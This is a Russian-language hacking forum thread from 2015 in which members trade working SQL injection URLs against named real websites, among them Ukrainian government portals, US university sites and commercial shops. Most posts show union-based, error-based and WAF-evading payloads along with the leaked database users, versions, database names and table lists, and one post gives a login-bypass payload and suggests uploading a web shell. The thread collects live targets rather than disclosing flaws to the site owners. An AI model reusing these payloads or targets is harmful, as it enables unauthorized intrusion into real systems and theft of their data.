SQL Инъекции

Discussion in 'Уязвимости' started by yarbabin, 27 Apr 2015.

  1. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Постим сюда найденные SQL инъекции. Прежде, чем запостить, проверьте, не выкладывалась ли SQLi ранее:
    Code:
    Google: site:forum.antichat.ru [ваш сайт с SQLi]
    Предыдущая тема: https://forum.antichat.ru/threads/21336/

    ВНИМАНИЕ !!! Все инъекции заключаем в тег [ CODE ] [ / CODE ], ни каких [ URL ] [ / URL ] быть не должно.

    Правила этой темы:
    1. Инъекции вида:
      Code:
      http://site.ru/index.php?a='
      будут удаляться. Также желательно в посте указывать версию БД.
    2. В теме запрещается публиковать пароли и хеши к админкам. Они будут удаляться, а нарушители - наказываться.
    3. Флейм/оффтоп удаляется и жестко наказывается.
     
    _________________________
    #1 yarbabin, 27 Apr 2015
    Last edited by a moderator: 23 Jul 2015
    eminlayer7788, K800, spherics and 5 others like this.
  2. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    Скуля с выводом в адресной строке
    Code:
    http://www.mmlf.ru/?go=members&sid=29%27+and+0+union+select+1,2,3,4,5,6,version(),8,9,10,11,12,13--+k
    5.5.36-34.0-632.precise
     
    _________________________
    Gorev, Suicide and Br@!ns like this.
  3. gromoza

    gromoza Member

    Joined:
    21 Dec 2008
    Messages:
    7
    Likes Received:
    6
    Reputations:
    0
    Code:
    http://machouse.ua/solutions/s2/pre-press/sys_ctp/treatment_digital_pl/g-j-raptor--85-polymer-cou-dlja-fotopolimernykh-plactin"and(select 1 from(select count(*),concat((select user() from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and".html
    (1062) Duplicate entry '[email protected]' for key 'group_key'
     
    Mister_Bert0ni likes this.
  4. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Code:
    http://infoeco.ru/ecomobile/index.php?id=34&datePointId=-6755 union select 1,2,3,4,5,6,concat(user(),0x3a,database()),8,9,10,11,12,13,14--
    ecomobil@localhost:ecomobil
     
    yarbabin likes this.
  5. teh

    teh Member

    Joined:
    2 Dec 2010
    Messages:
    79
    Likes Received:
    6
    Reputations:
    -2
    Code:
    http://landscrona.ru/media/index.php?id=-2825%20union%20select%201,2,3,user%28%29,version%28%29,database%28%29,7,8,9,10,11,12,13,14,15--
    crona_site 5.5.25 db_crona@localhost
     
    #5 teh, 3 May 2015
    Last edited: 4 May 2015
    yarbabin likes this.
  6. teh

    teh Member

    Joined:
    2 Dec 2010
    Messages:
    79
    Likes Received:
    6
    Reputations:
    -2
    Code:
    http://dzz.gov.ua/CPOSI/style/page_2/templer_page2_ru.php?id=21%20union%20select%201,2,3,concat%28user%28%29,0x3c62723e,version%28%29,0x3c62723e,database%28%29%29,5,%27fox%20tech%27,7,8--&table=info
    znvc@localhost
    5.1.73
    CPOSI


    Code:
    http://khersonryboohorona.gov.ua/newscomdet.php?id=5&mod=-393%20union%20select%201,2,concat%28user%28%29,0x3c62723e,version%28%29,0x3c62723e,database%28%29%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--&lang=

    [email protected]
    5.5.27-log
    ruboohran_riba

     
    MaxFast likes this.
  7. reuvenmatbil

    reuvenmatbil New Member

    Joined:
    1 Sep 2012
    Messages:
    28
    Likes Received:
    4
    Reputations:
    0
    Code:
    http://www.satena.com/about-us/board-of-directors/(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(75),CHAR(80),CHAR(112),CHAR(53),CHAR(111),CHAR(89),CHAR(89),CHAR(81)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
     
    #7 reuvenmatbil, 9 May 2015
    Last edited by a moderator: 23 Jul 2015
    capuletti likes this.
  8. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Code:
    http://www.astera.ru/it-top/?type=-2'+union+select+1,2,3,4,5,0x456e6a6f7921,7,8,9+--+&year=2015&month=2
    Будьте внимательны, MySQL 4
     
    6agupa likes this.
  9. fakecoder

    fakecoder Banned

    Joined:
    31 Oct 2012
    Messages:
    19
    Likes Received:
    2
    Reputations:
    2
    Code:
    invest-expert.info/articles.php?article_id=-130'+union+select+(version()),2,3--+
    in TITLE
    8k hosts/day

    кому интересно повоевать с waf... хотя faza ужо замочил...
    Code:
    http://www.mkap.ru/newsview.php?id=1475+and+1=1
    CY 250, PR 4
     
    #9 fakecoder, 14 May 2015
    Last edited: 14 May 2015
    blaga likes this.
  10. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    посты лучше склеить :)
    Code:
    http://www.mkap.ru/newsview.php?id=-1475+/*!12345union*//*!12345%73%65%6c%65%63%74*/version(),2,3,4--+
    5.0.77-log
     
    _________________________
    sliders likes this.
  11. EoGeneo

    EoGeneo Member

    Joined:
    29 Aug 2009
    Messages:
    127
    Likes Received:
    9
    Reputations:
    1
    ничего интересного :(

    База:
    invest-expert

    Таблицы:
    table_article
    table_banner
    table_coment
    table_fotos
    table_kategorie
    table_menue
    table_news
    table_produkt
    table_projects
    table_projects_archive
    table_text_blocks
    table_texte
    table_video
     
  12. Br@!ns

    Br@!ns Elder - Старейшина

    Joined:
    3 Sep 2010
    Messages:
    916
    Likes Received:
    120
    Reputations:
    25
    Code:
    http://frameworksgallery.com/admin/checkuser.php
    POST
    member_name=k&password=kkkkkk' or 1=1 -- &Submit=Submit
    шелл phtml лить, если что :)
     
    #12 Br@!ns, 21 May 2015
    Last edited by a moderator: 23 Jul 2015
  13. Mister_Bert0ni

    Mister_Bert0ni Reservists Of Antichat

    Joined:
    10 May 2015
    Messages:
    142
    Likes Received:
    190
    Reputations:
    57
    Code:
    
    http://www.lampbulbs.co.uk/product.php
    ?prodid=162' +UNION(/**_**/SELECT(1),(2),(concat/**_**/((0x3c62723e),(0x7e7e4d69737465725f42657274306e697e7e),(
    0x3c62723e),(version/**_**/()),(0x3c62723e),(user/**_**/()),(0x3c62723e),(database/**_**/()))),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42))--+
    
     
    6agupa likes this.
  14. karter_kg

    karter_kg New Member

    Joined:
    17 Feb 2010
    Messages:
    5
    Likes Received:
    4
    Reputations:
    2
    HTML:
    http://www.ghanaweb.com/GhanaHomePage/soccer.PredictionLeague/index.php?cmd=showmonthlywinners&month=24121'+and+1=0+union+select+1,2,3,4,@@version,6,7,8,9,10,11,12,13,14,user(),16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41+--+
    user() = [email protected]
    @@version = 5.1.67-log
    Alexa = 2,645
     
    6agupa likes this.
  15. karter_kg

    karter_kg New Member

    Joined:
    17 Feb 2010
    Messages:
    5
    Likes Received:
    4
    Reputations:
    2
    Code:
    http://www.uvm.edu/crs/sdc/county_result.php?co_id=4'+and+extractvalue(1,concat(0x3a,(user())))+--+
    user() = [email protected]
    version() = 5.5.43-37.2-log
    Alexa = 15,582

    Code:
    http://depts.washington.edu/neurolog/psych/archives/viewPres.php?id=708'and+extractvalue(1,concat(0x3a,(user())))+--+
    user() = [email protected]
    version() = 5.5.18
     
    powerOfthemind and 6agupa like this.
  16. R3hab

    R3hab Member

    Joined:
    17 May 2015
    Messages:
    116
    Likes Received:
    8
    Reputations:
    6
    [​IMG]
    ТИЦ20 PR4 AR460,627
     
    6agupa likes this.
  17. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    ПР7
    Code:
    http://www.stevens.edu/provost/oie/view-patent?id=-20100137884+union+select+1,2,3,4,5,6,7,version(),9,10,11,12+--+
    друпал
    Code:
    https://www.stevens.edu/provost/CHANGELOG.txt
    как узнать префикс бд?
     
    #17 DezMond™, 2 Jun 2015
    Last edited by a moderator: 23 Jul 2015
  18. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    545
    Likes Received:
    159
    Reputations:
    324
    нет префикса же
    Code:
    http://www.stevens.edu/provost/oie/view-patent?id=-20100137884+union+select+1,2,3,4,5,6,7,table_name,9,10,11,12+from+information_schema.tables+where+table_schema=database()+--+
     
    palec2006 likes this.
  19. Br@!ns

    Br@!ns Elder - Старейшина

    Joined:
    3 Sep 2010
    Messages:
    916
    Likes Received:
    120
    Reputations:
    25
    Code:
    http://www.winelabelworld.com/list.php?c=18&w=8+OR+(SELECT+COUNT(*)+FROM+(SELECT+1+UNION+SELECT+2+UNION+SELECT+3)x+GROUP+BY+CONCAT(MID(VERSION(),+1,+63),+FLOOR(RAND(0)*2)))+--+
    Query failed: Duplicate entry '5.0.951' for key 1

    У сайта localwineevents.com, база "lwe". Которая находится рядом / alexa 163,137
     
  20. Insaider

    Insaider Member

    Joined:
    11 May 2015
    Messages:
    1
    Likes Received:
    6
    Reputations:
    4
    Code:
    http://education.zyxel.com/ZCNE_Course_Event.asp?cert_id=1' or 1=@@version--
    Windows version: 2003
    SQL Server version: 2005
    Database name: education_3
    System user: cso_user
    Server name: CSO-ELDB
     
    #20 Insaider, 4 Jun 2015
    Last edited by a moderator: 23 Jul 2015
    BuG_4F, Unknowhacker, YaBtr and 3 others like this.